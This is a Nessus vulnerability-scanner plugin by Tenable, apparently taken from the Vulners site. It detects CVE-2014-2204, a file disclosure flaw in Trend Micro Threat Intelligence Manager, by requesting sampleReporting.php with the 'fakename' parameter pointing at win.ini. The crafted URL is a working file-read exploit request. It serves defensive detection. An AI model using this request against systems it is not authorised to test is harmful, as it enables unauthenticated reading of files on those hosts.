#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(84917);
script_version("1.6");
script_set_attribute(attribute:"plugin_modification_date", value:"2026/04/22");
script_cve_id("CVE-2014-2204");
script_name(english:"Trend Micro Threat Intelligence Manager sampleReporting.php 'fakename' Parameter File Disclosure");
script_summary(english:"Attempts to read a local file.");
script_set_attribute(attribute:"synopsis", value:
"An application running on the remote Windows host is affected by a
file disclosure vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of Trend Micro Threat Intelligence Manager running on
the remote Windows host is affected by a file disclosure vulnerability
due to a failure to properly sanitize user-supplied input to the
'fakename' parameter in the sampleReporting.php script. A remote,
unauthenticated attacker, using a crafted request, can exploit this
to view arbitrary files.
Note that the application is reportedly affected by a local file
disclosure vulnerability and a remote code execution vulnerability;
however, Nessus has not tested for these issues.");
script_set_attribute(attribute:"see_also", value:"https://blogs.securiteam.com/index.php/archives/2502");
script_set_attribute(attribute:"see_also", value:"https://success.trendmicro.com/solution/1103000");
script_set_attribute(attribute:"solution", value:
"Apply Threat Intelligence Manager 1.0 Patch 5 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-2204");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2015/07/13");
script_set_attribute(attribute:"patch_publication_date", value:"2014/04/10");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/07/22");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"x-cpe:/a:trend_micro:threat_intelligence_manager");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2015-2026 Tenable Network Security, Inc.");
script_dependencies("trendmicro_tim_detect.nbin", "os_fingerprint.nasl");
script_require_keys("installed_sw/Trend Micro Threat Intelligence Manager");
script_require_ports("Services/www", 443);
exit(0);
}
include("http.inc");
include("install_func.inc");
include('report.inc');
app = "Trend Micro Threat Intelligence Manager";
get_install_count(app_name:app, exit_if_zero:TRUE);
# Can only be installed on Windows hosts.
os = get_kb_item("Host/OS");
if (!os || "Windows" >!< os) audit(AUDIT_OS_NOT, "affected");
port = get_http_port(default:443, php:TRUE);
install = get_single_install(
app_name : app,
port : port
);
files = make_list('\\windows\\win.ini', '\\winnt\\win.ini');
file_pats = make_array();
file_pats['\\winnt\\win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['\\windows\\win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
vuln = FALSE;
url = "/widget_framework2/repository/widgetPool/wp1/widget_backup/modSample3/sampleReporting.php?fakename=";
foreach file (files)
{
res = http_send_recv3(
method : "GET",
port : port,
item : url + file,
exit_on_fail : TRUE
);
if (egrep(pattern:file_pats[file], string:res[2]))
{
vuln = TRUE;
break;
}
}
if (!vuln)
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, build_url(qs:install['path'], port:port));
var report_items = {
'requests' : [build_url(qs:url+file, port:port)],
'file' : file,
'output' : chomp(res[2])
};
report::build_and_report(port:port, severity:SECURITY_HOLE, report_items:report_items);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation